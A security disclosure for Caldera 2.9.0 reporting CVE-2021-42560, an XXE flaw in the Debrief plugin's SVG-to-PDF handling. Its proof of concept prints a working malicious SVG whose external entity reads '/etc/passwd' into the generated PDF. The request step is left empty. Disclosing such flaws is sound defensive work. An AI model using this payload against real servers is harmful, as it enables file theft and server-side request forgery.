

# Caldera Disclosures

Version 2.9.0

## Environment:

- Caldera 2.9.0
- Ubuntu Linux

## Findings:

### 1. CVE-2021-42560: Unsafe XML Parsing

#### Description:

The Debrief plugin receives base64 encoded “SVG” parameters when generating a PDF. These SVG are parsed in an unsafe manner and can be leveraged for XXE attacks (e.g. File Exfiltration, Server-Side Request Forgery, Out of Band Exfiltration, etc.).

#### Proof of Concept:

In this example we will replace the “fact” SVG with a valid malicious payload that contains an inline XML External Entity (XXE) which will be used to exfiltrate the “/etc/passwd” file.

The malicious SVG will have the following form:

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><svg
xmlns="http://www.w3.org/2000/svg" id="copy-svg" class="op-svg debrief-svg" style="width:
100%; height: 100%;" viewBox="2660 910 1199.699951171875 180"><defs><marker
id="arrowheadtechnique" viewBox="-0 -5 10 10" refX="30" refY="0" orient="auto" markerWidth="8"
markerHeight="8" xoverflow="visible"><path d="M 0,-5 L 10 ,0 L 0,5" fill="#999" style="stroke:
none;"/></marker></defs><g class="container" width="100%" height="100%"
transform="scale(5)"><g style="stroke: rgb(170, 170, 170);"/><g class="nodes"><g class="node
operation" transform="translate(550,200)"><circle r="16" style="fill: rgb(239, 239, 239);
stroke: rgb(66, 66, 66); stroke-width: 1px;"/><text class="label" x="18" y="8" style="font-
size: 12px; fill: rgb(51, 51, 51);">&test;</text><g class="icons"><svg version="1.0"
xmlns="http://www.w3.org/2000/svg" width="32" height="16" viewBox="0 0 270.000000 255.000000"
preserveAspectRatio="xMidYMid meet" class="svg-icon" x="-16" y="-8">
<g transform="translate(0.000000,255.000000) scale(0.100000,-0.100000)" fill="#000000"
stroke="none">
<path d="M593 2540 c-237 -43 -459 -238 -545 -480 -20 -58 -23 -83 -22 -220 0 -139 3 -164 28 -
245 78 -257 252 -542 518 -850 132 -152 476 -487 637 -620 73 -60 137 -110 141 -110 17 0 279 226
430 371 326 312 534 563 701 843 269 451 272 812 9 1094 -187 202 -445 272 -675 186 -131 -49 -
273 -176 -384 -345 -38 -58 -72 -111 -75 -117 -4 -9 -8 -9 -11 -1 -3 6 -37 60 -76 119 -118 181 -
267 309 -416 355 -76 23 -190 32 -260 20z m452 -542 c23 -22 32 -57 125 -557 55 -294 102 -537
105 -539 6 -6 8 -2 165 415 74 194 142 362 153 373 26 29 74 23 99 -11 11 -14 54 -143 95 -285 41
-142 77 -261 80 -264 2 -2 52 46 111 108 1107 112 133 0 c72 0 132 -4 132 -8 0 -5 -18 -37 -40 -
70 1-40 -62 -62 0 -63 0 -134 -150 c-73 -82 -142 -152 -153 -156 -29 -9 -66 4 -82 29 -8 12 -42
119 -76 237 -34 118 -65 219 -68 224 -2 4 -24 -43 -48 -105 -223 -592 -268 -707 -286 -726 -27 -
29 -60 -29 -92 -1 -23 21 -32 60 -121 538 -53 283 -98 522 -102 530 -3 8 -35 -73 -72 -182 -36 -
108 -74 -205 -84 -216 -27 -29 -70 -34 -246 -26 1-158 7 -41 68 -41 69 194 0 194 0 101 310 c104
315 125 360 169 360 11 0 31 -10 46 -22z"/>
</g>
</svg>undefined</g></g></g></g></svg>
```

Request:

The resulting PDF will contain the exfiltrated content of the “/etc/passwd” file:

